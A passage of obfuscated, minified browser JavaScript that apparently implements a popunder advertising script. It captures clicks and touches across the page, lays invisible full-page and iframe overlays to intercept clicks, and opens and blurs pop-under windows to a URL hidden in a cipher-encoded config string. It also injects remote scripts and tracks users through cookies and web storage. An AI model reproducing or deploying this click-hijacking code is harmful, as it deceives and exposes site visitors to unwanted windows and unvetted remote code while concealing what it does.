                        V[Z] = t;
                        M = V[Z] === t
                    })
                }
            }

            function F(J, N) {
                var x = 0,
                    t = [],
                    p;
                while (x < J.length) {
                    p = N(J[x], x, J);
                    if (p !== undefined) {
                        t[w9](p)
                    }
                    x += 1
                }
                return t
            }

            function J9(x) {
                var t = "oRequestAnimationFrame",
                    p = "mozRequestAnimationFrame",
                    M = "webkitRequestAnimationFrame",
                    B = "requestAnimationFrame",
                    O = "openViaMobilePopunderAndFollowLinks",
                    h = "openViaMobilePopunderAndPropagateEvents";
                if (l[h] && n6) {
                    var U = f[K]('about:blank');
                    if (U) {
                        U[L] = l[d]
                    }
                    return
                }
                var Y = n[L];
                if (l[O]) {
                    x = j9(x, 'A');
                    if (x) {
                        Y = x[G6]
                    }
                }
                var r = f[K](Y);
                if (r) {
                    if (n6) {
                        var u = f[B] || f[M] || f[p] || f[t] || function(J) {
                                var N = false;
                                return setInterval(function() {
                                    if (!N) {
                                        N = true;
                                        J()
                                    }
                                }, 200)
                            },
                            c = false;
                        setInterval(function() {
                            if (!c) {
                                c = true;
                                u(function() {
                                    f[L][G6] = l[d]
                                })
                            }
                        }, 1000)
                    } else {
                        f[L] = l[d]
                    }
                }
            }

            function l9() {
                e6 = false;
                if (x9()) {
                    x6()
                } else if (E6() > 0) {
                    t6 = setTimeout(x6, E6())
                }
            }

            function v9() {
                var J = A();
                if (l[D]) {
                    return J > b[X] + l[N6] * 1000
                }
                if (!l[w] && !l[N6] && l[e]) {
                    return l[e] <= y[v]
                }
                return l[w] ? !y[W] || y[W] >= l[w] : J > y[X] + l[N6] * 1000
            }

            function V1(c) {
                n[m][Q]('touchstart', function(h) {
                    var U = "targetTouches",
                        Y = function(J) {
                            var N = "innerWidth";
                            var x = "abs";
                            var t = "innerHeight";
                            var p = "changedTouches";
                            var M = "removeEventListener";
                            n[m][M]('touchend', Y, false);
                            if (!r6) {
                                return
                            }
                            r6 = false;
                            var B = J[p][0][T6],
                                O = J[p][0][u6];
                            if (f[t] / 100 > Math[x](O - u) && f[N] / 100 > Math[x](B - r)) {
                                c()
                            }
                        };
                    if (!h[U]) {
                        c();
                        return
                    }
                    if (h[U].length > 1) {
                        return
                    }
                    if (r6) {
                        r6 = false;
                        return
                    }
                    r6 = true;
                    var r = h[U][0][T6],
                        u = h[U][0][u6];
                    n[m][Q]('touchend', Y, false)
                }, false)
            }

            function a6(N) {
                var x = "opener",
                    t = "close",
                    p = "mozPaintCount",
                    M = "blur",
                    B = l[d],
                    O = f[K]((r9 || M9) ? B : 'about:blank', M9 ? '_top' : ('ppu' + new Date()[V9]()), M9 ? '' : (['toolbar=0', 'scrollbars=1', 'location=1', 'statusbar=1', 'menubar=0', 'resizable=1', 'top=0', 'left=0', 'width=' + Q6[Z9], 'height=' + Q6[Y9]][q](',')));
                if (!O) {
                    if (N && N[P]) {
                        N[P][o6]()
                    }
                    return false
                }
                O[M]();
                if (a1) {
                    f[M]();
                    f[A6]()
                }
                if (O[p] !== undefined) {
                    O[K]('about:blank')[t]()
                }
                try {
                    O[x][A6]()
                } catch (J) {}
                if (!r9) {
                    O[L] = B
                }
                if (N && N[P]) {
                    N[P][o6]()
                }
                return true
            }

            function j9(J, N) {
                if (!J) {
                    return null
                }
                if (J[B6] === N) {
                    return J
                }
                return j9(J[z], N)
            }

            function Y1() {
                var J = "getElementsByTagName",
                    N = l[S6].length,
                    x = n[J]('script')[0],
                    t;
                while (N) {
                    N -= 1;
                    t = n[i]('script');
                    t[P9] = 'text/javascript';
                    t[h6] = true;
                    t[p6] = l[S6][N];
                    x[z][e9](t, x)
                }
            }

            function Z1() {
                if (!f.top) {
                    return false
                }
                try {
                    var N = f.top.document,
                        x = N[i]('script');
                    N[J6][E](x);
                    if (x[z] !== N[J6]) {
                        s9 = true;
                        return false
                    }
                    x[z][H6](x);
                    return true
                } catch (J) {
                    s9 = true;
                    return false
                }
            }

            function x6() {
                var B = "smartOverlay",
                    O = "addOverlay";
                A9 = true;
                if (z9() || !T) {
                    return
                }
                if (l[j6] && !P1 && !n6 && I > 40) {
                    A1()
                }
                if (l[O]) {
                    K9({
                        left: 0,
                        top: 0,
                        width: '100%',
                        height: '100%',
                        position: 'fixed'
                    })
                }
                if (l[B]) {
                    var h = [];
                    (function U() {
                        F(h, function(J) {
                            if (J[z]) {
                                J[z][H6](J)
                            }
                        });
                        h = F(H('object, iframe, embed'), function(J) {
                            var N = "offsetHeight",
                                x = "smartOverlayMinHeight",
                                t = "offsetWidth",
                                p = "smartOverlayMinWidth";
                            if (!k6(J, true)) {
                                return
                            }
                            if (y6 && J[M6] === y6) {
                                return
                            }
                            if (l[p] <= J[t] && l[x] <= J[N]) {
                                var M = g1(J);
                                return K9({
                                    left: M[c9] + 'px',
                                    top: M.top + 'px',
                                    height: J[N] + 'px',
                                    width: J[t] + 'px',
                                    position: 'absolute'
                                })
                            }
                        });
                        U9 = setTimeout(U, 750)
                    }())
                }
            }

            function R(N, x) {
                try {
                    return N()
                } catch (J) {
                    if (x) {
                        return x(J)
                    }
                }
            }
            var l = options,
                E1 = lary,
                Z6 = 0,
                t9 = V6(),
                n9 = V6(),
                Y6 = false,
                m9 = 0,
                T9 = 0,
                r6 = false;
            if (typeof l === 'string') {
                l = i1(l, E1)
            }
            l["url"] = kompo;
            if (!l[D] || !l[f6] || !l[j]) {
                l[D] = 0
            }
            var s9 = false;
            if (l[r1] && Z1()) {
                f = f.top;
                n = f[n1l.U4];
                k = n[n1l.D4]
            }
            var Q6 = f[p1];
            R(function() {
                var J = "origin";
                f.postMessage(l, D7A4['location'][J])
            });
            var e6 = true,
                R6 = 0,
                T, I = ((g[U6](/Chrome\/([0-9]{1,})/) || [])[1] | 0) || ((g[U6](/CriOS\/([0-9]{1,})/) || [])[1] | 0),
                a1 = /applewebkit/i [o](g),
                f9 = /android/i [o](g),
                S9 = (/Android/i [o](g) && /Firefox/i [o](g)),
                P6 = /iPhone|iPad|iPod/ [o](g),
                P1 = /Macintosh/ [o](g),
                Q1 = /UCBrowser\// [o](g),
                e1 = /Opera Mini\// [o](g),
                n6 = P6 || f9,
                p9 = /FBAV\//i [o](g),
                C = /OS 9/ [o](g) && /like Mac OS X/ [o](g),
                w1 = parseInt(l[g6], 10) === 10802 && C,
                M9 = p9 && f9,
                y9 = P6 && /Version\// [o](g) && !I,
                r9 = /Version\/[^S]+Safari/ [o](g),
                d1 = l[O1] && n6,
                Z = ['__PPU_SESSION', 1, l[g6], l[f6] && n[L][M1]][q]('_'),
                d6 = ['__PPU_SESSION_ON_DOMAIN', 1, l[g6], (n[L][B1] || n[L][t1])][q]('_'),
                u9 = (n[l6] = '__test')[R9][n1](n[l6], '__test') !== -I6,
                R1 = f1,
                w6 = ['seriesStart', 'ppuCount', 'lastPpu', 'clicksSinceSessionStart', 'clicksSinceLastPpu'],
                s, V;
            R(function() {
                var J = "localStorage",
                    N = "sessionStorage";
                s = f[N];
                V = f[J]
            });
            var O9, y = (function() {
                    var x = "refreshPageOnDomainSeriesForLimLoOnPageRefresh",
                        t = "resetCounters",
                        p = {},
                        M, B, O;
                    if (!l[t]) {
                        if (l[D6] && s) {
                            R(function() {
                                B = s[Z];
                                O9 = s[d6];
                                O = !!B
                            })
                        }
                        if (l[f6] && V && !O) {
                            B = V[Z];
                            O9 = V[d6];
                            O = !!B
                        }
                        if (!O && u9) {
                            B = (n[l6][U6](new RegExp('(^|; )' + Z + '=([^;]*)')) || [])[2];
                            O = !!B
                        }
                        if (!O && V && !l[D6]) {
                            B = V[Z];
                            O = !!B
                        }
                    }
                    if (l[f6] && l[D] && l[x]) {
                        B = ''
                    }
                    M = (B || '')[E9]('|');
                    F(w6, function(J, N) {
                        p[J] = parseInt(M[N], 10) || 0
                    });
                    return p
                }()),
                b = {};
            if (l[D]) {
                var c1 = (O9 || '')[E9]('|');
                F(w6, function(J, N) {
                    b[J] = parseInt(c1[N], 10) || 0
                })
            }
            var y6 = ('PPFLSH' + A() + '' + Math[K6]())[Q9]('.', 'a'),
                X9 = y6 + 'click';
            f[X9] = function(J) {
                var N = "elementFromPoint";
                L9();
                f[K](l[d], 'ppu' + new Date()[V9](), ['scrollbars=1', 'location=1', 'statusbar=1', 'menubar=0', 'resizable=1', 'top=0', 'left=0', 'width=' + Q6[Z9], 'height=' + Q6[Y9]][q](','));
                n9();
                n9 = V6();
                var x = n[N](m9, T9);
                if (x[B6][i6]() === 'input' || x[B6][i6]() === 'textarea' || x[B6][i6]() === 'option') {
                    x[A6]()
                }
                x[o6]();
                t9();
                t9 = V6()
            };
            var H9 = false,
                i9 = l[F9] ? 'ppu_overlay' : 'p' + Math[K6]()[N1](36)[X6](2),
                A9 = false,
                t6, U9, K9 = (function() {
                    var M = "backgroundImage",
                        B = "zIndex",
                        O = n[i]('div');
                    O[M6] = i9;
                    O[a][B] = l[B];
                    O[a][M] = 'url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)';
                    return function(J) {
                        var N = "hasOwnProperty",
                            x = "cloneNode",
                            t = O[x](false),
                            p;
                        for (p in J) {
                            if (J[N](p)) {
                                t[a][p] = J[p]
                            }
                        }
                        if (Y6 && C) {
                            t[Q]('click', function() {}, true)
                        }
                        T[E](t);
                        return t
                    }
                }());
            f[J1] = S;
            if (l[S6]) {
                Y1()
            }
            if (l[x1]) {
                R(function() {
                    if (/Firefox\// [o](g)) {
                        f.MouseEvent.prototype.h4 = function() {}
                    }
                })
            }
            if (l[v6] && !f[l1]) {
                if (n[m6] !== 'loading') {
                    var h9 = n[i]('script');
                    h9[p6] = l[v6];
                    h9[h6] = true;
                    n[J6][E](h9)
                } else {
                    n[L6]('<script defer async src="' + l[v6] + '"><\/script>')
                }
            }
            var F1 = '__interstitialInited';
            if (l[W6] && !f[F1]) {
                if (n[m6] !== 'loading') {
                    var D9 = n[i]('script');
                    D9[p6] = l[W6];
                    D9[h6] = true;
                    n[J6][E](D9)
                } else {
                    n[L6]('<script defer async src="' + l[W6] + '"><\/script>')
                }
            }
            if (l[z6]) {
                if (n[m6] !== 'loading') {
                    var g9 = n[i]('script');
                    g9[p6] = l[z6];
                    g9[h6] = true;
                    n[J6][E](g9)
                } else {
                    n[L6]('<script defer async src="' + l[z6] + '"><\/script>')
                }
            }
            if (l[k9] && o1()) {
                return
            }(function b1() {
                if (H('body').length > 0) {
                    T = n[m] || H('body')[0];
                    if (l[a9]) {
                        R(G1)
                    }
                    if (l[d9]) {
                        R(y1)
                    }
                    if (A9) {
                        x6()
                    }
                } else {
                    setTimeout(b1, 100)
                }
            })();
            if (n[Q]) {
                if (!C) {
                    Y6 = !I || l[j6];
                    n[Q](I && !l[j6] ? 'mousedown' : 'click', S, true)
                }
                if (w1) {
                    Y6 = true;
                    n[Q]('click', S, true)
                } else if (!S9 && !l[o9]) {
                    if (C) {
                        n[Q]('touchend', S, true)
                    } else {
                        n[Q]('touchstart', S, true)
                    }
                } else if (l[o9] && n6) {
                    V1(S)
                } else if (C) {
                    Y6 = true;
                    n[Q]('click', S, true)
                }
                if (!C) {
                    n[Q]('mousemove', function(J) {
                        m9 = J[T6];
                        T9 = J[u6]
                    }, false)
                }
            } else if (n[G9]) {
                n[G9]('onclick', S)
            }
            if (!l[O6]) {
                setTimeout(l9, l[C9])
            }
        }(window, D7A4[o4][n1l.U4], D7A4[o4][n1l.U4][n1l.D4], D7A4[G4][n1l.g4]))
    }("{\"3Imef2\":i777,\"yeeOlfg4yj\":oy4tf,\"yeeOlfg4yjOmMfe6y\":dg9f,\"tkygdOlfg4yj\":dg9f,\"tkygdOlfg4yjM6mW6edz\":bc7,\"tkygdOlfg4yjM6mHf6hzd\":a77,\"e6ty54fOmMfe6y\":oy4tf,\"1461rAmj0zfgf\":dg9f,\"yhhgftt6lf\":oy4tf,\"gftfdCp9mdfgt\":dg9f,\"46kLp\":dg9f,\"tftt6pmT6kfp9d\":iaq77,\"889T6kfp9d\":bc,\"889Qmdj\":v,\"6m149eft\":[],\"f2149eft\":[],\"9g4\":\"zdd8t:\\\/\\\/pm1461ryet.mfd\\\/?3pmf6e=bvav7q&85ri=aq1ooveni7anyy7vi1xiqnq1oisxa1vbqiiivabxvas7vcxscaa&g=%iFp1%iFzym\",\"gfdyghfd6mhFgykfUg4\":oy4tf,\"tdygdT6kfp9d\":7,\"tdygdC461rt\":7,\"3pmfIe\":bvav7q,\"889C461rt\":7,\"tftt6pmC461rt\":7,\"SS\":dg9f,\"t1g68dt\":[],\"8pk1\":oy4tf,\"kyzC461rt\":dg9f,\"eftrdp8CzgpkfF62Pp89mefg\":oy4tf,\"6tOm1461rD6ty54feImKmp0mWf5V6f0\":oy4tf}", "abcdefghijklmnopqrstuvwxyz0123456789y51efohz6wr4kmp8ugtd9l02j37aivbcqnxs", adsmain))
}